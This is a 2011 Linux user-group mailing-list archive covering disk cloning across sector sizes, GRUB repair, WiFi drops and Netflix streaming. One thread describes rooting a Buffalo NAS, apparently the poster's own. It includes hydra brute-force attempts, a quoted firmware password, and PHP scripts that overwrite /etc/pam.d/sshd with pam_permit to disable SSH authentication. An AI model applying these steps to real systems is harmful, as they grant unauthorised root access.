install disc(s). If so is there a linux program that will get around it? Disclaimer: I'm not condoning the use of pirated software in violation of any applicable laws where you live. There is considerable expense involved in replacing a legit copy of any micro$oft OS. So a backup would come in handy. On 11/22/2011 18:40, Mark Phillips wrote: I have managed to fill up my laptop's dual boot (Win 7 and Debian testing) 320 GB drive, so I have a new shiny 750 GB drive to install. I have tried to use Clonezilla, and it keeps failing because the old drive has 512 byte sectors and the new drive has 4096 byte sectors. No problem; I will just create a system image of the Windows partitions to move that to the new drive, net install Debian testing, and copy over my user files. However, I was thinking that I could get rid of the dual boot and just virtualize the Windows partition. My questions - 1. Can I create a virtual version of my Windows 7 Home Premium using the system recovery disk and the backup on my external usb drive? So far, it installs to the new 750 GB drive with no issues. I don't have any original media disks. 2. Vmware or Virtualbox? Do either one support usb so I can run iTunes on my virtual Windows drive? A while ago I was able to get vmware to run off of the Windows disk partition, but it seemed to break every time I ran an upgrade on Debian, and it was a pain to get it to work each time. I don't want to fiddle with this approach again, unless I have to. Thanks for your suggestions! Mark --- PLUG-discuss mailing list -PLUG-discuss@lists.plug.phoenix.az.us mailto:PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- That income tax you know it's nothing more than legal robbery Sidney Pa Larkin Please protect my address like I protect yours. When sending messages to multiple recipients, always use the BCC: (Blind carbon copy) and not To: or CC:. Also remove all of the addresses from the message body before forwarding the message. These simple measures prevent spy programs from capturing the addresses shown in the recipient list and the message body. --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us mailto:PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us
OT: Weirdness With WiFi Access Point
I setup a new Roku box with an older DL-524 WiFi access point (channel 3 with security running). I noticed that fairly often the Roku looses the signal from the DL-524 and the show I am watching stops. I used a WiFi analyzer on my Android phone and noticed that the signal strength from the DL-524 varies from -50 dbm to -70 dbm, with an occasional spike to -100 dbm over about a 10 minute period. I have another access point at the other end of the house (WRT54G, channel 11 with security running), and it shows a +/- 10dbm variation in signal strength with a few spikes to -100 dbm in a 10 minute period as well. The -100 dmb spikes between the two devices do not seem to be correlated. 1. Is this behavior normal for WiFi access points? 2. Could the Android WiFi analyzer be the cause of this strange behavior? 3. Do I need a new access point for Netflix? Any brand recommendations? Thanks! Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: OT: Weirdness With WiFi Access Point
Stephen, Thanks for your comments. My Android WiFi analyzer only shows three channels - the two in my house (channels 3, 11) and a linksys next door (channel 1). The linksys next door has a max signal strength of around -90 dbm on a good day. I will try switching my DL-524 to channel 5 to see if there is any change. BTW, both the DL-524 and WRT54G are g devices. Thanks! Mark On Wed, Sep 21, 2011 at 8:41 AM, Stephen cryptwo...@gmail.com wrote: Check the Channels you are running on. If you are using a channel that has allot of surrounding traffic that would explain why as they try to shout and be heard over each-other. If you cna find some unused channels or at least lightly populated you should get better results. On Wed, Sep 21, 2011 at 8:24 AM, Mark Phillips m...@phillipsmarketing.biz wrote: I setup a new Roku box with an older DL-524 WiFi access point (channel 3 with security running). I noticed that fairly often the Roku looses the signal from the DL-524 and the show I am watching stops. I used a WiFi analyzer on my Android phone and noticed that the signal strength from the DL-524 varies from -50 dbm to -70 dbm, with an occasional spike to -100 dbm over about a 10 minute period. I have another access point at the other end of the house (WRT54G, channel 11 with security running), and it shows a +/- 10dbm variation in signal strength with a few spikes to -100 dbm in a 10 minute period as well. The -100 dmb spikes between the two devices do not seem to be correlated. 1. Is this behavior normal for WiFi access points? 2. Could the Android WiFi analyzer be the cause of this strange behavior? 3. Do I need a new access point for Netflix? Any brand recommendations? Thanks! Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- A mouse trap, placed on top of your alarm clock, will prevent you from rolling over and going back to sleep after you hit the snooze button. Stephen --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
OT: Netflix and Linux and LAN
I am thinking of getting Netflix, and I am trying to figure out how to distribute it to several TVs in the house, and I was wondering if anyone else has solved this problem. We currently have cox Internet and cable. The options I found revolve around buying one of a variety of boxes for each TV and have them access netflix via WiFi. The boxes include googleTV, ROKU, Wii, etc. It looks to me that the ROKU boxes are the least expensive and offer access to the most services. Anyone have any experience doing this? Any major pitfalls to watch out for? Is WiFi fast enough for streaming video, or should I get the more expensive boxes and use a wired LAN? Are there any Linux options for distributing Netflix shows over a LAN? I read that the DRM software used by Netflix is incompatible with Linux, so perhaps this is a non-starter? Thanks for sharing any experiences you may have had with Netflix, Linux, and LANs. Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Need Help Cloning a Drive
Well, the saga continues. I tried going the MS routeI hooked up a usb drive and created a system image and a recovery disk from the Windows 7 partition that came with the laptop. I then booted with the new 750 GB drive using the Windows recovery disk and restored the image that was save earlier. I then booted into Windows and that worked! I was thinking I would just re-install Debian and then copy over my data from the old drive. However, when I booted into a Knoppix disk and ran gparted, I discovered that Windows had created an image of the whole drive - Linux and all! However, being Windoze, it failed to take into account the difference in partition sizes, and force my new shiny drive to use 512 b sectors! This is what fdisk reveals: Disk /dev/sda: 750.2 GB, 750156374016 bytes 255 heads, 63 sectors/track, 91201 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 4096 bytes I/O size (minimum/optimal): 4096 bytes / 4096 bytes Disk identifier: 0x81d6785f Device Boot Start End Blocks Id System /dev/sda1 1 5 40131 de Dell Utility Partition 1 does not start on physical sector boundary. /dev/sda2 * 6191815367 HPFS/NTFS /dev/sda31918701740963092+ 7 HPFS/NTFS /dev/sda47018 38913 2562046205 Extended Partition 4 does not start on physical sector boundary. /dev/sda57018 37615 245778403+ 83 Linux /dev/sda6 37616 3891310426153+ 82 Linux swap / Solaris Partition 6 does not start on physical sector boundary. Note the sector size line So, now I have two problems to solve. 1. How do I fix the drive so it uses the same sector size for logical and physical sectors? I have seen studies that show setting up a drive like this is very inefficient when it comes to reading the drive. 2. How do I reinstall grub from the Knoppix disk so I have my dual boot back in operation? Thanks for all your suggestions!! Mark On Wed, Jul 20, 2011 at 7:14 AM, Joseph Sinclair plug-discuss...@stcaz.netwrote: I feared this might be the case; clonezilla just isn't quite ready for the new sector sizes. The best suggestion I can make from here is to create a partition table by hand on the destination drive that has the partition sizes and layout you want, then transfer the data one partition at a time. You'll probably have to install GRUB in the MBR on the new drive to make it bootable. Someone else here probably knows how to do this better than I do, but here's my take: 1) transfer all the data 2) remove the old drive and put the new drive in place 3) boot from a live rescue type CD (the latest system rescue CD works well here) 4) mount the new drive root partition and chroot to it's mount point. 5) check and adjust /etc/fstab to mount all of the other partitions in the correct places. Make sure you use UUID's for this, as System Rescue CD creates odd device names sometimes. 6) mount everything like you would when running (this may not be required, but it's just for completeness) 7) check everything looks like you expect. 8) verify /boot is correct and has the correct kernel(s) 9) check your grub configuration in /etc 10) run the grub installer and grub configuration to install GRUB on the MBR of the new drive, and setup the GRUB menu/configuration/modules to boot properly. 11) exit the chroot, shutdown the system, pull out the rescue CD, and reboot. *) You should now have a bootable clone drive, if everything worked. Note: If you have Windows in dual boot on the old drive it almost certainly won't be bootable on the new drive and will need to be reinstalled. On 07/19/2011 10:03 PM, Mark Phillips wrote: Well, using the proportional clone option in clonezilla failed as well. These are the drives I have: orca:/home/mark# fdisk -l Disk /dev/sda: 320.1 GB, 320072933376 bytes 255 heads, 63 sectors/track, 38913 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x81d6785f Device Boot Start End Blocks Id System /dev/sda1 1 5 40131 de Dell Utility /dev/sda2 * 6191815367 HPFS/NTFS /dev/sda31918701740963092+ 7 HPFS/NTFS /dev/sda47018 38913 256204620 5 Extended /dev/sda5 *7018 37615 245778403+ 83 Linux /dev/sda6 37616 3891310426153+ 82 Linux swap / Solaris Note: sector size is 4096 (not 512) Disk /dev/sdb: 750.2 GB, 750156374016 bytes 255 heads, 63 sectors/track, 11400 cylinders Units = cylinders of 16065 * 4096 = 65802240 bytes Sector size (logical/physical): 4096 bytes / 4096 bytes I/O size (minimum/optimal
Re: Is it possible to extract the root password from the file system?
On Mon, Jul 18, 2011 at 10:06 PM, Dan Dubovik dand...@gmail.com wrote: Can you SSH as the hammerhead user? No mark@orca:~/Desktop/buffalo_nas$ ssh hammerh...@xxx.xxx.xxx.xxx Password: Connection to xxx.xxx.xxx.xxx closed by remote host. Connection to xxx.xxx.xxx.xxx closed. When you FTP as the hammerhead user, can you move the script.php file to the htdocs directory? It has 777 permissions, so should be able to open it / drop a file there. Yes, I can, and it does execute. If you can get a PHP file uploaded and able to execute properly, perhaps a PHP based shell could help? I am not a php guy.I don't know how to do this. I tried a script to allow ssh without password for anyone. It seems to have written the file, however, I still cannot ssh in as root. Note: this is my first php script; the pint statements helped me debug and see if it was working. ?php echo starting...br; $filename = '/etc/pam.d/sshd'; $fh = fopen($filename, 'w+') or die(can't open file); $contents = fread($fh, 1000); echo ..file contents:br $contentsbr; $stringData = account required pam_unix.so\n; $fw = fwrite($fh, $stringData); if ($fw == false) echo ...#1 no luck writing filebr; else echo ...wrote $fw bytes: '$stringData'br; $stringData = session required pam_unix.so\n; $fw = fwrite($fh, $stringData); if ($fw == false) echo ...#2 no luck writing filebr; else echo ...wrote $fw bytes: '$stringData'br; $stringData = auth required pam_permit.so\n; $fw = fwrite($fh, $stringData); if ($fw == false) echo ...#3 no luck writing filebr; else echo ...wrote $fw bytes: '$stringData'br; rewind($fh); $contents = fread($fh, 1000); echo ...final file contents:br $contentsbr; fclose($fh); echo done!br; ? Output from the script: starting... ..file contents: ...wrote 32 bytes: 'account required pam_unix.so ' ...wrote 32 bytes: 'session required pam_unix.so ' ...wrote 28 bytes: 'auth required pam_permit.so ' ...final file contents: account required pam_unix.so session required pam_unix.so auth required pam_permit.so done! One strange behaviorwhen I re-run the script, I expected to see the contents of the file displayed after 'starting...' above, but it always comes back blank, and I still cannot login using ssh I did this: 1. restart the nas 2. run script 3. I get this ouput: mark@orca:~/Desktop/buffalo_nas$ ssh r...@xxx.xxx.xxx.xxx Connection closed by xxx.xxx.xxx.xxx 4. reset nas again 5 I get this ouput: mark@orca:~/Desktop/buffalo_nas$ ssh r...@xxx.xxx.xxx.xxx Password: Password: Password: Then all I get when I try to ssh in is Connection closed. Does anyone have any php scripts to hack this box and give me root access via ssh? Thanks! Mark -- Dan. On Mon, Jul 18, 2011 at 9:20 PM, Lisa Kachold lisakach...@obnosis.comwrote: I believe the script.php has to be moved the webroot directory and given permissions there I believe, but well if you can't get a login via ssh... -- how to do it? On Sun, Jul 17, 2011 at 8:58 AM, Mark Phillips m...@phillipsmarketing.biz wrote: On Sun, Jul 17, 2011 at 3:54 AM, Lisa Kachold lisakach...@obnosis.comwrote: There are alot of password files and dictionary lists on various sites. Backtrack5 contains a good number. But I imagine that it's either not allowing root via ssh or you have the wrong username. It turns out the box is smarter than a fifth grader.after a few hydra attacks, it started rejecting all the hydra attempts to ssh in via root. Once I stopped hydra (after running all night), it took a couple of hours before it would respond to ssh attempts from root. It now will ask for the root password, but I still have no idea what it is. Or it's a truely random string. It could bethe password for the zip file to unzip the file system is YvSInIQopeipx66t_DCdfEvfP47qeVPhNhAuSYmA4 . Someone retrieved it using a disassembler on the file system. I did some more reading, and one person was able to use php to allow ssh login. The box allows one to create a web space, and it comes with php installed. One can edit the php.ini file, and I can upload via ftp a php script. The script they suggested is: ?php $file = '../../../../etc/pam.d/sshd'; $fh=fopen($file, 'w') or die(can't open file); $stringData = account required pam_unix.so\n; fwrite($fh, $stringData); $stringData = session required pam_unix.so\n; fwrite($fh, $stringData); $stringData = auth required pam_permit.so\n; fwrite($fh, $stringData); fclose($fh); ? I uploaded the script, but I get a 404 File not Found when I access the page. I thought it might be a file permission error since the file is only rw. I tried chmod 777 at the ftp prompt, and got the error message File not Found, but ls shows it is there. ftp ls 200 PORT command successful 150 Opening ASCII mode data connection for file list drwxrwxrwx 2 apache apache 6 Jul 17 08:23 cgi-bin drwxrwxrwx 2 apache apache 22 Jul 17 08:23 htdocs
Re: Need Help Cloning a Drive
Well, using the proportional clone option in clonezilla failed as well. These are the drives I have: orca:/home/mark# fdisk -l Disk /dev/sda: 320.1 GB, 320072933376 bytes 255 heads, 63 sectors/track, 38913 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x81d6785f Device Boot Start End Blocks Id System /dev/sda1 1 5 40131 de Dell Utility /dev/sda2 * 6191815367 HPFS/NTFS /dev/sda31918701740963092+ 7 HPFS/NTFS /dev/sda47018 38913 2562046205 Extended /dev/sda5 *7018 37615 245778403+ 83 Linux /dev/sda6 37616 3891310426153+ 82 Linux swap / Solaris Note: sector size is 4096 (not 512) Disk /dev/sdb: 750.2 GB, 750156374016 bytes 255 heads, 63 sectors/track, 11400 cylinders Units = cylinders of 16065 * 4096 = 65802240 bytes Sector size (logical/physical): 4096 bytes / 4096 bytes I/O size (minimum/optimal): 4096 bytes / 4096 bytes Disk identifier: 0x4ae6 Device Boot Start End Blocks Id System orca:/home/mark# The proportional setting got as far as creating the partition table and sda1. But then when it started on sda2, it failed saying there was no partition for sdb2, and so on for sdb3 - sdb6; these partitions did not exist. But that is what I thought cloning the proportional partition table was supposed to take into account. Clonezilla also reported that the target is smaller than the source, which is true based on sector counts if you don't take the size of the sectors into account. Googling for 'linux clone hard drive different sector size' and similar strings did not yield any helpful strategies. I would love to turn this wonderful 750 GB hard drive into something useful. Does anyone have some suggestions for cloning a 512b sector drive to a 4096b sector drive? Thanks, Mark On Mon, Jul 18, 2011 at 6:39 AM, Mark Phillips m...@phillipsmarketing.bizwrote: Joseph, Thanks. I thought that might be a problem, and clonezilla has the option for a proportional partition table. I will try that tonight. Mark On Sun, Jul 17, 2011 at 11:24 PM, Joseph Sinclair plug-discuss...@stcaz.net wrote: You're dealing with something that's affecting more people. The old drive has what *was* the normal sector size for MANY years, 512 bytes. The new drive has what *is now* becoming standard, 4096 bytes. The 'use the partition table from the source' option in clonezilla is not going to work. You CANNOT use a partition table for a 512 byte sector size directly on a disk with 4096 byte sectors. The partition table records a number of sectors, and you're copying it without translation, so the new drive thinks it has partitions 8 times the size of the old; and the later ones run off the end of the disk. I'm not familiar with clonezilla, but I think there are options to configure a destination partition table proportional to the source. That's a bit more complex, but it's probably the only way to make it work with your situation. Hopefully that helps. ==Joseph++ On 07/17/2011 10:57 PM, Mark Phillips wrote: Well, Clonezilla is having problems cloning my drive. I first booted into Debian and created one big ext3 partition on the new drive (750 GB), old drive is 320 GB. Then fired up Clonzilla. I took all the defaults, chose device to device, expert, and local disk to local disk, and chose sda as the source and sdb as the target. l kept the default options: -g auto -e1 auto -e2 -j2 -v, and 'use the partition table from the source'. I get a' successfully wrote partition table'. Then I get the Error can't have a partition outside disk and Clonezilla dies. Here is what I get with fdisk after booting back into Debian orca:/home/mark# fdisk -l Disk /dev/sda: 320.1 GB, 320072933376 bytes 255 heads, 63 sectors/track, 38913 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x81d6785f Device Boot Start End Blocks Id System /dev/sda1 1 5 40131 de Dell Utility /dev/sda2 * 6191815367 HPFS/NTFS /dev/sda31918701740963092+ 7 HPFS/NTFS /dev/sda47018 38913 256204620 5 Extended /dev/sda5 *7018 37615 245778403+ 83 Linux /dev/sda6 37616 3891310426153+ 82 Linux swap / Solaris Note: sector size is 4096 (not 512) Warning: ignoring extra data in partition table 5 Warning: ignoring extra data in partition table 5 Warning: ignoring extra data in partition table 5 Warning: invalid flag 0xbfbb of partition table 5
Re: Need Help Cloning a Drive
Joseph, Thanks. I thought that might be a problem, and clonezilla has the option for a proportional partition table. I will try that tonight. Mark On Sun, Jul 17, 2011 at 11:24 PM, Joseph Sinclair plug-discuss...@stcaz.net wrote: You're dealing with something that's affecting more people. The old drive has what *was* the normal sector size for MANY years, 512 bytes. The new drive has what *is now* becoming standard, 4096 bytes. The 'use the partition table from the source' option in clonezilla is not going to work. You CANNOT use a partition table for a 512 byte sector size directly on a disk with 4096 byte sectors. The partition table records a number of sectors, and you're copying it without translation, so the new drive thinks it has partitions 8 times the size of the old; and the later ones run off the end of the disk. I'm not familiar with clonezilla, but I think there are options to configure a destination partition table proportional to the source. That's a bit more complex, but it's probably the only way to make it work with your situation. Hopefully that helps. ==Joseph++ On 07/17/2011 10:57 PM, Mark Phillips wrote: Well, Clonezilla is having problems cloning my drive. I first booted into Debian and created one big ext3 partition on the new drive (750 GB), old drive is 320 GB. Then fired up Clonzilla. I took all the defaults, chose device to device, expert, and local disk to local disk, and chose sda as the source and sdb as the target. l kept the default options: -g auto -e1 auto -e2 -j2 -v, and 'use the partition table from the source'. I get a' successfully wrote partition table'. Then I get the Error can't have a partition outside disk and Clonezilla dies. Here is what I get with fdisk after booting back into Debian orca:/home/mark# fdisk -l Disk /dev/sda: 320.1 GB, 320072933376 bytes 255 heads, 63 sectors/track, 38913 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x81d6785f Device Boot Start End Blocks Id System /dev/sda1 1 5 40131 de Dell Utility /dev/sda2 * 6191815367 HPFS/NTFS /dev/sda31918701740963092+ 7 HPFS/NTFS /dev/sda47018 38913 256204620 5 Extended /dev/sda5 *7018 37615 245778403+ 83 Linux /dev/sda6 37616 3891310426153+ 82 Linux swap / Solaris Note: sector size is 4096 (not 512) Warning: ignoring extra data in partition table 5 Warning: ignoring extra data in partition table 5 Warning: ignoring extra data in partition table 5 Warning: invalid flag 0xbfbb of partition table 5 will be corrected by w(rite) Disk /dev/sdb: 750.2 GB, 750156374016 bytes 255 heads, 63 sectors/track, 11400 cylinders Units = cylinders of 16065 * 4096 = 65802240 bytes Sector size (logical/physical): 4096 bytes / 4096 bytes I/O size (minimum/optimal): 4096 bytes / 4096 bytes Disk identifier: 0x81d6785f Device Boot Start End Blocks Id System /dev/sdb1 1 5 321048 de Dell Utility Partition 1 does not start on physical sector boundary. /dev/sdb2 * 61918 122887 HPFS/NTFS /dev/sdb319187017 3277047407 HPFS/NTFS /dev/sdb47018 38913 20496369605 Extended Partition 4 does not start on physical sector boundary. /dev/sdb5 ? 82628 130208 3057478824 48 Unknown orca:/home/mark# Any ideas how I can fix this error and clone my drive to the new drive? Thanks, Mark On Sun, Jul 17, 2011 at 4:10 PM, Stephen cryptwo...@gmail.com wrote: Woo hoo! On Jul 17, 2011 11:55 AM, Mark Phillips m...@phillipsmarketing.biz wrote: I took a look at clonezilla again, and found an amd64 iso in clonezilla testing. I tried that one, and it worked on my laptop. I will try a clone tonight (I like to make my laptop work while I sleep;) ), so I will let you know in the morning. Perhaps the ubuntu version was not amd64 and that may be why it barfed? I tried the CD on a another machine (i386) and it booted up OK. As of right now, it is humming along nicely on the old drive. Thanks! Mark On Sun, Jul 17, 2011 at 8:52 AM, Mark Phillips m...@phillipsmarketing.bizwrote: On Sun, Jul 17, 2011 at 3:51 PM, Mark Phillips m...@phillipsmarketing.biz wrote: I tried the alt media and it did not work. - 20110530-natty, Mark On Sun, Jul 17, 2011 at 3:48 PM, Stephen cryptwo...@gmail.com wrote: I have never seen that. It has run on a wild array of hardware. Try thealt media based on Ubuntu. You might have better results On Jul 17, 2011 8:46 AM, Mark Phillips m
